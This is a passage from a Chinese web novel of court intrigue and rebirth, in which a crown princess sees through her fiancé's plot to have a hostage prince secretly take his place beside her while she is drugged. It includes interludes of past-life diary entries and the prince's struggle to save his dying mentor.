江鹤一再度俯下身,头几乎触地:“小人罪该万死……”
“殿下。”卫迟风此时行至许长宁身边,附耳低语了一句。
许长宁望着江鹤一单薄的身影,眼神忽然冷了下来。
“他并非下毒之人。”许长宁将药瓶抛回给江鹤一,“走吧。”
江鹤一轻声谢恩,勉强支起身子,扶着墙,一瘸一拐地离开。
不错,这是江鹤一无疑了,他走起路来,是有一些跛脚的,许是从前伤了筋骨,未曾好好治疗。
然而许长宁并无重逢的欣喜,思绪甚是混乱。
那瓶药,确实是毒药,且是剧毒。
江鹤一,莫非你也存了杀意?
许长宁有些疲惫地阖上眼,一旁的薛竹铃忙摸了摸她的额头,眉心一下子皱成了橘子皮。
“殿下,回去歇息一下吧。”
薛竹铃的声音在冬夜中听起来格外娇甜,许长宁听得顿时有些困倦。
反正今夜她能救下父皇,便已十分幸运。既然直至现在都没有抓到人,估计也不会再有好消息了。
如此,她也懒得再与谢筠虚与委蛇。
“迟风,派人留下,等候父皇消息,并且盘问今夜在御书房的所有人。”
言罢,她看都没有看身边的谢筠一眼,离开了御书房。
但她走出不远处后,谢筠追了上来,挡在她面前。
“殿下是不是仍在怀疑臣?”谢筠的声音与神情皆含有几分委屈。
许长宁看着他半晌,微微一笑:“怎会?”
谢筠柔声问道:“那为何殿下今日对我如此冷淡?”
许长宁想了想,抬手抽出薛竹铃腰间的匕首——那是卫迟风送给薛竹铃防身用的。
刀尖映着的寒光,缓缓落在了谢筠的胸口。
谢筠一怔:“殿下这是何意?”
“谢郎,孤梦见,你让人朝孤射了一箭,箭上涂了剧毒。”许长宁一用力,刀尖便挑破了谢筠胸口的衣裳,“刚好扎入这个位置,好疼啊……”
谢筠那副完美的面具,再度裂了一条缝,透出一丝慌张来:“我……我心悦殿下,怎可能会害您?梦境与现实是相反的,殿下若因此记恨我,我可太冤枉了。”
“真的吗?”许长宁放下匕首,眼中的凌厉收敛了几分,融为暖意,“谢郎心悦孤?”
“殿下还感受不到我的心意吗?”谢筠轻轻握住许长宁的手,却只带给许长宁一片冷意。
许长宁扬了扬唇,逼近一步,另一边手忽然攀上谢筠布满烧伤疤痕的脖子,将他往下一按,倏地将脸凑近,要去吻他。
然而谢筠浑身一颤,猛地闪躲,挣开了许长宁。
“殿,殿下……这……这不合适……”谢筠磕磕巴巴,整个人的脸色都变了,半是尴尬,半是掩饰。
莫说谢筠,一旁的薛竹铃和卫迟风,若不是见证了前不久许长宁发疯的模样,现在恐怕也会觉得自家殿下有些烧糊涂了。
他们默默对视一眼,决定沉默。
许长宁早知会是如此,心中冷笑。
前世在洞穴前,谢筠告知她江鹤一的身份时,还对她说了一件事。
他的声音很低,却字字清晰。
“陛下可知为何六年间,我一次都不曾碰过你?”
“因为你太脏了。十八年前,洛宸和宁宴事变,你彼时十岁,便已失了清白。”
“曾落入山匪之手的女子,多脏啊……怎配做昭国国君?”
然而谢筠所说之事,许长宁已记不起来了。
“谢郎花言巧语,身体却实诚,这便是心悦孤?真是扫兴。”
许长宁装作不悦,抬脚便走,谢筠忙追上去要解释,却被卫迟风冷脸抬剑拦下。
谢筠哑然,只能看着许长宁渐行渐远。
他咬紧牙关,拨开一旁的老仆人,快步走到不远处的池塘边,以帕沾水,不断用力擦拭方才被许长宁碰过的地方。
脏死了!
直至擦到皮肤发红,他的神色才舒缓了几分。
“计划提前,不能再等了。”他沉声对仆人说道。
那方手帕被攥成团扔进塘中,砸得水中谢筠的面容四分五裂。
*
许长宁回到东宫后,热病愈发严重了,喝了汤药后,整个人脱力软倒在榻上,瘫着没有再动。
薛竹铃看她这般难受,又偷偷红了眼,往她额头一遍遍敷帕子。
许长宁摸摸她的脸,轻笑道:“我的竹铃还是这么爱哭,真好……”
前世薛竹铃死前,明明被酷刑伤得体无完肤,定是疼极了,可她硬是没有掉一滴眼泪,还笑着安抚许长宁。
明明这个丫头,最爱哭了……
“殿下饿不饿?竹铃给您做好吃的好不好?”薛竹铃趴在榻边问道。
“我没事,就是有些累了。”许长宁伸出两根手指,撑起薛竹铃下垂的嘴角,“今日是个好日子,别哭丧着脸。”
薛竹铃扁着嘴,泪眼汪汪:“怎么就是好日子了……陛下那样,您又这样……”
许长宁不再说话,直接搂住凑过来的薛竹铃,抱着她闭上了眼歇息。
她重生不过几个时辰,便已经扭转了前世的命数,已是极大的胜利了。
如今她只需等父皇醒来,与父皇商议扳倒谢家的对策即可。
虽然谢家势力并非一日可以拔除,她也不能打草惊蛇,暂时还得藏起敌意,但她知晓他们的狼子野心,便已然是更胜一筹了。
更何况,她今日既敲打了谢筠,又恶心了他一番,实在爽快。
不过令她有些头疼的,是意外出现的江鹤一。
从今夜的表现来看,江鹤一并没有前世的记忆,甚至与前世她所认识的江鹤一,几乎是不同的两个人。
前世她未曾听闻父皇之死与江鹤一有任何关系,可今夜,江鹤一虽不是下毒之人,却极为可疑,而且他似乎并未与谢筠达成合作。
也不知是否因为何处生了变故,导致江鹤一这个人变了……
他……会变吗……
若变了,是否意味着,她再也见不到以前那个他了?
许长宁想着许多事情,越想身体越沉,很快便睡着了,但却睡得不踏实,直至被噩梦惊醒。
醒来后,许长宁不想再睡,薛竹铃为她熬了桂花甜羹,冲淡了她口中的苦药味,加上听闻许昭临的情况并不严重,她的精神与心情也随之好了许多。
她正要好好复盘所遭遇的一切,思绪却被门外卫迟风的通报声打断。
“殿下,秘书郎带着几名侍从来求见。”
许长宁顿时眉心一拧,这谢筠竟然还敢来?脸皮比她想象的还要厚一些。
“让他进来。”她倒要看看,他还有什么花招。
半晌后,谢筠轻轻推开寝殿之门,只身入内,行至屏风前,恭敬地向许长宁行了一礼。
“眼下已至亥时,谢公子为何事求见?”许长宁的声音不冷不热,毫无情绪。
谢筠未答,却先在屏风前盘腿坐下,从带来的盒子中取出一些香料,放入香炉里点燃。
“臣方才失态,让殿下扫了兴致,自知犯下大错,心中忐忑不安。”
他隔着屏风,坐姿却不似从前那般端正。
伴随着淡淡清香,他的话音,犹如夜色般轻柔。
“我已沐浴更衣,准备在此彻夜陪伴殿下。”
许长宁忽地抬眼,看向那令她厌恶的身影,甚是意外。
这倒是新奇。
不是嫌她脏吗?
许长宁沉默片刻,放下手中奏折,低笑一声:“好啊,既然谢郎如此有心,孤怎能拒绝?只是谢郎打算如何陪孤?”
“陪殿下闲聊,待殿下乏了,我……便陪伴殿下入眠。”
许长宁对谢筠所言不置可否,与他开始东一句西一句地闲聊,话里话外都在试探,然而谢筠巧舌如簧,总能绕到无关紧要的事情上去。
袅袅青烟,
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缓缓随夜风越过屏风,缭绕缠绵。
许长宁半倚着软枕,渐渐觉得有些迷糊,倦意直袭心头,声音弱了,回答谢筠的次数也少了。
“殿下可是乏了?”屏风对面的那道身影站起来,吹灭了寝殿中仅燃着的两盏烛火。
屋内刹那间陷入黑暗与沉寂之中。
那道身影越过屏风,伴随着极轻的脚步声,来到了许长宁的榻边,伸手挽起她的碎发,指尖有意无意地戳碰她颧骨处的肌肤,好似羽毛轻扫而过,痒得令她觉得这一瞬无限蔓延。
许长宁握住那只不安分的手,暖意如流,从掌心渗入她的血肉中。
“谢郎……”
她轻笑唤了一声,随即搂住他的脖子将他往下压,仰脸吻了上去,双手探入他的衣襟,摸索至他的后背,游离于那一道道伤疤之间。
吻过了他的唇,她又去吻他的眉眼,吻他的脖子,吻到他一度想要挣脱,她却锁住他的身体,不让他抽离。
耳鬓厮磨,缠绵缱绻,一遍又一遍,留下了越来越多的痕迹。
吻了许久,许长宁的力道逐渐变弱,她试图解开眼前人的腰带,却在成功之前,昏睡了过去。
她面前之人立于榻边,一双黑眸望着她半晌,拉起被拽掉一半的外袍,悄然转身离去。
寝殿之门打开,谢筠一边整理衣裳,一边走了出来,候在门边的老仆见状,立即为他披上外袍。
“殿下已经睡下了。”谢筠朝走过来的薛竹铃与卫迟风低声说道。
薛竹铃瞧着谢筠脖颈上的好几道红痕,侧过脸偷偷笑了笑。
殿下平日看着清心寡欲,怎么生一场病,就变得如狼似虎了呢?
“此事还是莫让旁人知晓为好,劳烦二位为谢某保密。”谢筠抬手作揖道谢,并问,“我需要去一趟浴房,卫将军可否将附近的卫士暂时调走?”
卫迟风看谢筠确实得了殿下青睐,对他的态度好了一些:“秘书郎请在此处稍作等候。”
但卫迟风不知,在他调走浴房附近巡逻的卫士后,一道与谢筠甚是相似的身影,从许长宁寝殿的后窗跳出来,一路赶到浴房,与正在等候他的谢筠碰面。
“你表现得不错。”
谢筠用手帕擦掉脖子上用脂粉涂出来的假红痕,转身看向来人。
江鹤一穿着与谢筠一模一样的衣裳,站在他面前。
浴房微弱的烛光,映在江鹤一的身上,照亮了他脖子上的吻痕。
道道吻痕之中,还夹杂着一道咬痕,甚是清晰。
谢筠看清楚后,不禁蹙眉:“真是麻烦。”
吻痕容易造出假的,可这咬痕就麻烦了……
“这与我无关。”江鹤一面无表情,声音毫无波澜,“还请秘书郎遵守承诺,把药给我。”
谢筠朝身边老仆抬手,老仆马上掏出一个布囊递到他手中。
江鹤一正要伸手去接,可谢筠却忽然松手,布囊掉到了地上。
江鹤一并未在意,俯身捡起,打开看了眼,确认里面的药物正是他所需,便小心地收好了。
“把衣裳换了,出去时别给我露出破绽。”谢筠让人给江鹤一扔去一套侍从的衣裳,却没有让人回避的意思。
“正好让我看看,你身上所有的伤疤,是否与我身上的伤痕基本契合。”他眼含羞辱之意,要看着江鹤一脱干净。
江鹤一望着他片刻,一言不发,当即便开始换衣裳。
这种羞辱于他而言,如同家常便饭。
谢筠只看了一眼,便嫌弃一般转过身,问:“那能让人神志迷糊的迷香,可是你自己所制?”
那迷香倒是比他本想使用的更加有效,江鹤一比他瘦弱许多,许长宁竟然毫无察觉。
江鹤一“嗯”了一声,又听谢筠问道:“今夜的那一小块,能让许长宁睡多久?”
“至少两个时辰。”江鹤一答得迅速果断。
然而,本该至少沉睡两个时辰的许长宁,此时正睁着眼倚在榻边,摸着留有江鹤一余温的双唇,轻轻笑了笑。
没想到被自己那么一激,谢筠竟提前让江鹤一行了替代之事。
既然该来的还是来了,那她就陪他们好好玩玩。
*
江鹤一的前世日志·三
谢家的行动极快,让几位大臣于朝堂上向许长宁施压,不出五日便定下了许长宁与谢筠的婚事。国不可一日无君,为了尽快让许长宁登基,他们什么礼节都略过了,又用五日定下了大婚的诸多事宜,于今日十一月十五举行两人的大婚。
第一次行替代之事,甚是紧张……我提前调配好了迷香,试验了许多遍,确保许长宁不会认出眼前人是谁,昏睡后会毫无知觉,但即便如此,也省不了将她衣裳脱掉这一步……
我这副残躯,早已被凌辱过无数遍,只要能回家,如何都无所谓,可即便是做戏,对一个昭国人如此,我也觉得自己甚是下贱……
但许是那迷香的作用,整个过程……比起遭受毒打,也不算煎熬,忍忍便是了,与她虚与委蛇至她沉睡即可,时间不会太长……只是,她平日看着矜贵,为何……会咬人?
4. 野种
江鹤一向来知晓,自己在昭国不会有一天好日子过,对节日也一贯没有任何期待。
但这个冬至,他着实觉得自己活得不像人。
他本想鱼死网破,装作太监偷偷潜入御书房,给许昭临下毒,但他最终还是没有下手。
因为他听见许昭临问,许长宁怎么还未过来一同用晚膳。
他想起自己并非孤身一人,还有人需要顾及,若是被抓,恐怕要连累那人。
虽然他不喜那人,但总归不能害了他的性命。
江鹤一寻机离开了御书房,却不承想,半路不幸遇见那几个常年欺辱他的真太监。
那几个太监见他穿着和他们一样的衣裳,当即便怒了,说那是对他们的羞辱,不仅剥了他的衣裳,还对他一顿拳打脚踢。
江鹤一双臂紧护着头,蜷缩在角落,无论被如何打,都一声不吭。
他自认为没什么本事,唯一最擅长忍耐。
他的自尊早已被揉碎践踏,挨打不过家常便饭,算他今日倒霉。
但打着打着,那几个太监忽然一溜烟跑了,未待江鹤一弄清楚发生了何事,他就被几名东宫卫士抓了起来,押回御书房,被带到昭国最尊贵的女子面前,身上那瓶毒药也被搜了出来。
他虽未与这个皇太女有过直接交集,但他对她的事迹略有耳闻,能在朝堂上叱咤风云的储君,不会是个好惹的人。
“抬起头来。”
听见这句话时,江鹤一觉得自己死定了。
怎料,许长宁竟然看上了他的脸,直接伸手触碰,似乎对他这般模样甚是感兴趣。
于是,他忍住心中那股对所有昭国人的厌恶,抓住她的衣角摇尾乞怜,果真被释放了。
不管那瓶药是否被看出来是毒药,江鹤一离开御书房的范围后,便马上销毁了毒药,彻底捡回了一条命。
他拢紧衣裳,整理好仪容,往住处走回去。
尚未推开院门,一个身穿太监服装的男孩便从屋檐上跳下来,拽着江鹤一往院里走。
“你去了何处?我和叔找你都要找疯了!”林笙急急甩出一句话后,才看清江鹤一只着单衣,又问,“我借你的衣裳呢?”
“没了。”江鹤一不多说,撒开林笙往屋里走。
“什么叫没了?那可是新的!”林笙忙追上去,叨叨不止,“借你是一个价,要是丢了,那便是另外一个价了,我可都会记在账上的,回头你记得还啊。”
在即将推开屋门时,林笙忽然行快两步,先推开了门,拉着江鹤一入屋。
苏明烨负手站在屋内徘徊等候,看见江鹤一,眼神先是一亮,随即脸色变得甚是阴沉。
“人我找回来啦,叔啥时候结账?”林笙笑嘻嘻道。
“先欠着。”苏明烨走到江鹤一面前,看他一身单衣尽是脚印脏污,眉心拧得更紧。
林笙撅起了嘴,默默走到一边,掏出了他记账的本子,清楚写上两笔欠款账目。
“去了何处?”苏明烨的声音十分严厉。
江鹤一并不怕他,轻描淡写答道:“给昭皇下毒去了,但没成功。”
“你疯了吗?”苏明烨目光一凛,揪住江鹤一的衣襟,低声斥责,“为质十二年,我便教了你十二年,你即将及冠,为何还会做出如此鲁莽愚蠢之事?不要命了?!我陪你来昭国,不是要跟你一起死在这里的!”
苏明烨一边骂,一边侧头喘咳,然而江鹤一侧过脸,一个眼神都没有给苏明烨,神色淡漠,似乎没有听见他的话。
苏明烨见他如此,也甚是无奈,愤愤撒手,重新将手背于身后:“真是一点都不像你的母后,性子与江阙那个混蛋一模一样!我教你多少次了?遇事要忍耐,在这个地方,只有卑躬屈膝才能活下去,你要由着他们打骂,不要还手,也不要起反抗的心思,忍一忍,他们总有一日会觉得无趣的。你若反抗,死都不知道是如何死的!”
“哎呀叔,今日是冬至,开开心心过个节嘛。”林笙笑着过来打圆场,苏明烨紧皱的眉头才松开几分。
他不再责怪江鹤一,但藏于袖中的手,仍止不住地颤抖。
万幸……万幸……
他忍下汹涌的后怕,转身走向柜子,要将方才收好的汤圆拿出来。
他晓得江鹤一喜欢吃甜食,便花了些银子,拜托林笙给他偷偷带了一些过来,以甜汤煮熟。但江鹤一久久未归,他怕汤凉了,只好先用布将碗裹起来,收进柜子里。
看江鹤一这副模样,定是又挨了打,前几日这小子才从病中缓过来,现在又受伤,看来得往汤里加些药才行。
到底还是他没有照顾好这小子……
苏明烨无声叹了口气,正要端出汤圆,忽然听见身后的江鹤一笑了一声。
“你苏明烨,才是最愚蠢混蛋之人。”江鹤一冷笑道,“什么都做不了,与废物有何异?”
苏明烨一愣,端起的碗又放下了。
江鹤一平时向来沉默,几乎不会顶嘴。
苏明烨回身看他时,又板起了脸:“好好说话,我是你师父。”
“想让我喊你做师父?你教我什么了?那一点医术?那些狗屁跪地求饶的法子?这些东西能带我回家吗?能让我与父皇母后再见一面吗?”
江鹤一语气越来越重,直逼苏明烨身前,似是忍耐许久,终于爆发,“你只知肖想我母后,你可知她如今有性命之忧?!她本就体弱,被打入冷宫多年,已是一身病痛,还被那虞妃陷害下狱,再过几日便要被赐死了!我现在拼一次,也许还能赶回去救母后,哪怕就见最后一面!”
江鹤一的声音染上了哭腔,苏明烨闻言,一时诧异不已,双手的颤抖更甚,声音里是极为罕见的惊慌。
“你、你从何处得知的消息?虞妃是如何陷害你母后的?你马上细细道来,我想办法、想办法让人——”
“别假惺惺了!”江鹤一厉声打断,推了一把苏明烨,“明明就是你害得母后沦落至此!还在装什么好人?一个太医,竟然勾引皇后,父皇便是知晓你们的私情,才会这般冷落母后!”
一句句斥责,吼得苏明烨的脸色渐渐变得惨白。
他在……说什么?
“老一!”林笙看苏明烨脸色不好,忙拽住江鹤一的袖子,示意他别说了。
“你说江阙……知晓我与徽音……”苏明烨颤声问了一半,站不稳般向后退了几步,撑住了桌子一脚,喃喃道,“怎么会……”
江鹤一冷静了几分,发红的双眼中仍带着愤懑。
他看着苏明烨,问出那个他十二年来一直想问的问题。
“所以,因为我是野种,父皇才扔我来昭国为质,十二年都没有想过要接我回去,对吗?”
不断喃喃自语的苏明烨,因这一句话倏地抬眼。
他似是震惊,又像是在思考。
沉默间,他的呼吸变得急促,苍白的脸也迅速涨红。
他向江鹤一迈出一步,刚要张口说话,却因气急攻心,猛地吐出一口血,向前倒下。
江鹤一愣怔一瞬,手疾眼快接住了苏明烨,顿时将方才所有的气愤都抛之脑后。
看苏明烨睁着眼,喘息着,双目逐渐变得无神,江鹤一蓦地慌了,忙让一旁傻眼的林笙去拿药。
“苏明烨!”江鹤一扼住苏明烨的手腕为他把脉,急声对他说,“稳住呼吸!”
苏明烨动了动手指,轻轻回握住江鹤一为他把脉的手。
“孩子……”
十二年来,江鹤一第一次看到苏明烨流眼泪。
眼泪从他布满皱纹的眼角划过,无声滴落。
“对不起……”
林笙听着身后的对话,心急如焚,在一堆瓶瓶罐罐中寻找,终于找到平日苏明烨服用的药物,兴冲冲拿到江鹤一面前,打开一倒,却发现药瓶已空。
江鹤一感到心脏一颤,再看向苏明烨时,他已闭上眼,脸色惨白。
“苏明烨……”江鹤一晃了晃苏明烨,声音有些发抖。
“怎么办啊……这药是在宫外买的,现在已经无法出宫了……”林笙与江鹤一一般大,也慌张得没了主意。
江鹤一咬咬牙,迅速将苏明烨扛回榻上,随手披上一件衣裳,立即往外赶:“我去找太医求药。”
“等等!”林笙把他拽了回来,“这些年你求了多少遍?太医哪一次给你药了?等你回来,叔都要凉透了!你还不如赶紧给他施针什么的,撑到明日我出宫去给你带药回来。”
“不行,他必须服药。”江鹤一攥紧了拳,气息也变得紊乱。
慌乱之中,忽然有一张脸于他脑中浮现。
许长宁抬起了他的下巴,手指点在他裸露的肩头,伸手为他拢紧了衣裳……
“我去向许长宁求药。”江鹤一抬腿继续往外走。
林笙一愣,忙追上去:“不是!殿下对燕国什么态度你不清楚吗?她怎可能会给你药?”
见江鹤一毫无反应,林笙再度拽住他,正色道:“你江家人杀了殿下所有兄弟姐妹,她见着你怕是会一剑劈死你!”
江鹤一摇头:“不会。我觉得,那个女人似乎蛮喜欢这副皮囊。”
也许他再装一次可怜,许长宁真的会给他药。
“啊?”林笙再度傻眼,尚未能理解江鹤一所言,江鹤一已没了踪影。
而江鹤一走出去没几步,忽然迎面撞上了谢筠。
“急着要去何处?”谢筠笑面如春风。
*
这一夜,江鹤一觉得定会终生难忘。
这是他第一次与女子行如此亲密之事,可这名女子,却是他厌恶仇视的昭国人。
他难以形容自己的感觉,恶心是必然的,但他也感受到了一丝的好奇与羞涩,原来男女之事,竟是这般……
跟着谢筠从东宫出来后,江鹤一并未能马上离开,而是被谢筠的侍从拦着。
“谢某是个守信之人,只要你日后好好替我行事,让殿下满意了,你要什么药,甚至钱财,我都能给你,有朝一日事成,我还可助你回燕国。”
谢筠开出了他的条件,条件甚是诱人。
他需要替代他的那个人,与他一样身上遍布伤疤,并且可以在皇宫中自由行动,又不会生出攀附许长宁的心思。
因此,痛恨昭国人的江鹤一是最佳人选。
江鹤一在昭国孤立无援,只要有人伸出援手,就一定会紧紧抓住,这种人,最是容易拿捏。
江鹤一并未作答,只是面无表情地转身要离开。
侍从抬手拦他,谢筠却摇头,让他们放江鹤一离开:“你知道我在何处,想好了可以来寻我。”
江鹤一头也不回,拿着足以让苏明烨支撑三日的药,急匆匆赶回住处。
且不说他能否相信昭国人,他被欺辱十几年,不可能帮一个昭国人,去伺候另一个昭国人,即便他再不在意自己的身体,也不想再做如此下贱之事。
“你可算回来了!”林笙满脸愁容地守在榻边,“叔方才又吐了几次血,我给他换了几遍衣裳,已经没有可换的干净衣裳了。”
“去那个箱子里找找。”江鹤一指了指角落的一个箱子,立即开始为苏明烨配药。
十二年来,他已将苏明烨的医术学得七七八八,此时手法熟练迅速,俨
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然如同一名医者。
捣药之际,江鹤一忽然后悔了。
他方才太心急了,明知苏明烨一直病着,不应该那样气他的。
毕竟,苏明烨再如何混蛋,也是这偌大的昭国中,唯一一个燕国人了,气急攻心对他的病体而言,是会要命的。
江鹤一将药物兑水,扶起昏迷的苏明烨,撬开他的嘴,小心地将药喂了下去,看着他的呼吸逐渐平稳下来,江鹤一悬着的心才落地。
“方才为你守着叔,可是要收钱的啊。”林笙给江鹤一递去一套苏明烨的衣裳,咧嘴道,“不过看在今日冬至,给你打折好了。”
“先欠着。”江鹤一随口敷衍,接过了苏明烨那件多处缝补过的旧衣。
“哼,你们老这样。”林笙小声发表不满,但也没有追着要钱,只是一边拿着账本写写画画,一边往外走,“叔给你煮了汤圆,为了保温,收进了柜子里。都是钱,别浪费了。”
话音落下,林笙已消失在夜色中。
江鹤一的耳边瞬间清静下来,他看向那半敞开的柜子,看到了被仔细包裹起来的碗。
汤圆,只有一碗……
是了,苏明烨每年冬至,都会给他煮汤圆……
但他一次都没有吃过,为何苏明烨还要年年坚持?
是因为愧疚吗?
江鹤一思绪混乱,摊开苏明烨的旧衣,要给苏明烨换上时,忽然有一封信从旧衣中掉落。
他俯身捡起,却因信封上的字而神色一滞。
那是母后周徽音的字。
十二年间,江鹤一从不曾收到过来自燕国的信,他知道昭国人不可能会为他传信,说明这封信是他来昭国之前写的。
母后不曾给他留过信,却给苏明烨留了信?
江鹤一对苏明烨的那股气又燃了起来,他不甘地打开信,却在看见第一句话时便愣住了。
“鹤一,母后的好孩儿……”
这是,写给他的信?
为何苏明烨这么多年都没有给他看过?
江鹤一因为周徽音的寥寥几句便红了眼,忙抹掉泪花,继续往下看。
然而信上所写,句句令他心惊。
怎么可能……
如同窝囊废一般的苏明烨,怎么可能会为了他,做过那些事……
江鹤一攥紧了信的一角,看了一遍又一遍,始终无法相信。
可是母后不会骗他,仔细想来,似乎也有许多蛛丝马迹可以对得上。
他转头看向榻上的苏明烨,沉默了很久。
最终,他似是败下阵来,低声喃喃。
“苏明烨,别以为自己有多伟大,别以为,这样我就会感激你……”
江鹤一摊开手中苏明烨的旧衣,正准备给他换上,苏明烨忽然一阵呛咳,江鹤一忙去扶他起来,为他顺气。
可苏明烨却咳出许多血来,最后连服下去的药都吐了出来。
烛火明灭间,江鹤一感觉到恐惧从他背脊向上蔓延。
苏明烨气若游丝,脉象极弱,已是濒危之状。
江鹤一奔向一旁去拿针袋,手却抖得拿不稳针。
不可以……
别丢下他……
江鹤一死死咬着牙关,用了苏明烨教给他的针法,一针针往苏明烨身上可以救命的穴位扎,望借针力暂稳苏明烨的气血。
他没有察觉,自己已经泪流满面。
“苏明烨……”
“你不是说要活着回燕国吗?你不是还想再见我母后一面吗?”
“别走……师父……”
江鹤一害怕得声音发颤,终于在他一声声呼唤中,苏明烨的呼吸稍稍稳住了。
但针力终是外力,如今苏明烨如风中残烛,气血每刻都在耗散,若针力衰竭,恐怕会更危险。
“老一!我有个好消息——”林笙忽然折返,但刚推开门,江鹤一便与他擦肩而过,冲了出去,“诶,你去哪?!”
江鹤一没有心思回答林笙,强忍后怕,一路狂奔。
他还需要更强效的药物!
无论如何,他都要保住苏明烨的命!要他做什么都行!
江鹤一奔至谢筠在宫内当值的地方,尚未喘顺气,便急声对门口的侍从道:“谢公子呢?我要求见谢公子!”
*
许长宁的前世日志·一
我知晓,这桩婚事不过是一场交易,只是国律甚是不公,为何皇太子无须成婚便能登基,而我同为储君,却因身为女子,便要先成婚才能登基?怎么,只因为男子身下多了一把子,便比女子更聪明,更高贵?可笑。
罢了,父皇已逝,我一人难以对抗满朝文武,尤其是右相那个老东西,成婚便成婚吧。谢筠温文尔雅,亦有才华,既然众臣看中他,母后也支持,我不抗拒,婚后让他管些杂碎政务也无妨。
可大婚之日,他竟让人替他圆房,实在过分……
寝殿应是布下了迷香,但迷香对我的作用不大。许是因为我不耐猫气,又喜欢与小猫玩耍,时常吸用防嚏之药,那药物有迷香成分,使用次数多了,我便难以受迷香所惑。替谢筠之人面相与谢筠全然不同,我一摸便知,但这人竟也浑身伤疤,并非谢筠身上那种烧伤伤疤,而是被打出来的伤疤,若我当真受迷香影响,恐怕分不出两者区别。
我本有些生气,但这个男人倒也乖顺,身子好似暖炉,我手脚冰冷,贴于他身甚是舒服,感情一事勉强不来,罢了……不过作为报复,我最后咬了他一口,明日谢筠也得在自己脖子上弄一个咬痕,想想便觉得有趣。
若改日这人还敢来,我便在他脸上咬一口。
5. 命运
“阿宁快跑……”
“阿兄跑不动了……”
“他们要杀过来了……你快跑……”
“阿宁要替阿兄好好活下去,好好照顾父皇和母后……”
一抹抹血色飞溅,染红了黑白的记忆。
许长宁只记得耳边充斥着弟弟妹妹们的尖叫和哭喊,她拼命地向前逃跑,身后追赶她的,是千百个黑影组成的浪潮,吞噬了所有光亮。
刀剑化作恶兽獠牙,要将她撕咬成碎片……
“阿兄!”
许长宁猛然惊醒,在昏暗的寝殿中大口喘息,冷汗已然沾湿了她额前的碎发。
薛竹铃近日一直睡在许长宁寝殿中,在榻边地上铺了褥子,能更好地照顾生病的许长宁。
听见许长宁的惊呼,她迅速爬了起来,凑近许长宁轻声哄道:“殿下莫怕,只是噩梦。”
许长宁看见薛竹铃巴眨着一双大眼,便往里挪了挪,薛竹铃会意,熟练地在许长宁身边躺下,脸蛋蹭着许长宁的颈窝,一只手轻轻拍着许长宁的肩头。
慢慢地,许长宁狂跳的心平静了下来。
她知道那些不是噩梦,而是忘却的记忆。
十二年前,父皇邀请燕皇江阙赴和宁宴,欲促两国和平,可燕皇却派杀手屠戮了昭国所有皇嗣,许长宁是唯一一个活下来的。
她的胞兄许长安,彼时的昭国皇太子,为了救她而死。
许长宁受了极大刺激,失去了那日所有记忆,只记得阿兄为她挡下一剑,拉着她跑了一段路,最后跑不动了,靠在一棵树旁,渐渐没了呼吸。
自那之后,许是许昭临的身体出了问题,昭国再无新的皇子公主诞生,和宁宴后的第二年,许昭临封许长宁为皇太女,全力培养。
而许长宁为了不辜负拼命救下她的阿兄,以及背负着巨大压力,册封公主为储君的父皇,从十一岁起便褪去稚气,宵衣旰食,白日研求治道,夜里誊录奏章,摹拟批复,遇到疑难之处,便求教父皇,常至深夜才歇息。
自十五岁开始,许长宁便参与朝堂议事,常立于御座一侧,默记朝臣论辩要义,退朝后又追着大臣请教漕运、农桑诸事,凡经手的案牍皆字斟句酌,唯恐有半分疏漏。
眼下二十二岁,她早已能行监国之责,但仍因身为女子,明里暗里遭受许多非议与不服。
“殿下,您想不想吃煎肉包子?竹铃给您做好不好?”薛竹铃看许长宁神色凝重,脸色仍有些苍白,心疼不已。
许长宁摇摇头:“喝些清粥吧。”
“可是……”薛竹铃扁扁嘴,“您病了几日,都没有吃过一口肉,眼看着都消瘦了许多……”
许长宁掐掐她的脸,还是说没有胃口吃肉,薛竹铃只好作罢。
听见寝殿内有动静,守在殿外的卫迟风便敲门入内,隔着屏风向许长宁汇报。
“殿下,您让我查的事情,有消息了。”
“你说。”许长宁掀开褥子坐了起来,薛竹铃马上给她披上外袍裹紧。
卫迟风低声道:“与江鹤一一同来昭国的医师苏明烨,昨日不知为何忽然病重,江鹤一离开东宫回到住处后,一个时辰不到,又急匆匆去找了谢筠,我猜他应当是去求药的。可奇怪的是,臣仔细问过与他们有接触的宫女和太监,所有人皆称江鹤一与苏明烨素来不和,关系甚是恶劣,为何江鹤一会为苏明烨去求谢筠?”
“确实奇怪。”许长宁蹙眉道。
江鹤一以卑贱姿态示人,应当是为了生存,从前世那些年的相处中,她知晓他的骨子里还是有傲气的。
他为何会为了一个与自己关系恶劣之人,主动去求自己厌恶的昭国人?
许长宁光着脚便站了起来,在屏风后往返踱步思索。
似乎因为某种原因,许多与江鹤一相关的事,都在发生微妙的变化。
莫非是苏明烨与江鹤一的关系也生出了变数,才促成了江鹤一与谢筠的合作?
前世的苏明烨,在她与谢筠成婚两年后病逝,她之所以印象深刻,是因为江鹤一母亲,燕国皇后周徽音之死。
燕皇江阙的宠妃虞妃,意外发现周徽音曾与太医私通,燕皇一怒之下处死了周徽音。
民间甚至有传言称,江鹤一是周徽音与那太医的野种。
而那太医,正是随江鹤一一同来昭国的苏明烨。
周徽音死讯传出后不久,苏明烨便病死了,许长宁听说,江鹤一恨苏明烨恨到连棺材都没有置办,直接用一张草席裹着他的尸身葬了……
若眼下江鹤一与苏明烨的关系有了变数,那她所知的一切,还会如前世那般发生吗?
许长宁思绪混乱,有些烦闷地摁了摁眉心,对卫迟风道:“继续盯着他,有必要时出手相助,别让苏明烨死了。”
江鹤一的行为,说明苏明烨是他的软肋。
如今她不知江鹤一是否会变,掌握他的一处软肋自是没错,日后她是保护他的软肋,或是利用,便看江鹤一的表现了。
薛竹铃听得云里雾里:“那燕国质子何时来过东宫了?”
许长宁看她好奇,便将昨夜谢筠找江鹤一行替换之事告诉了她。
薛竹铃听到一半便已脸色全变,听完来龙去脉后,整个人已经气得小脸涨红,千言万语化作了一句话:“我要去把江鹤一剁了!!”
眼看着薛竹铃撸起袖子,抄起腰间的匕首要冲出去,卫迟风忙将她拽回来,让她冷静一些。
“竟敢如此欺负殿下!这些狗崽子都活腻了!”薛竹铃个头不大,气势却十足,嗓门极大,凶神恶煞道,“卫迟风你也来帮忙!我带路,你剁人!”
看许长宁一直光着脚在踱步沉思,卫迟风知她心烦意乱,便附在薛竹铃耳边低声劝道:“你现在去剁人,只会让殿下更心烦。”
薛竹铃闻言,马上便冷静下来,回过头去看许长宁。
许长宁遇到想不通的烦心事时,便会光脚行走,边走边思索,这是只有他们二人知道的事情。
薛竹铃沉默片刻,似是下定了某种决心,把匕首塞到卫迟风手里,一溜烟跑了出去,卫迟风抓都抓不住。
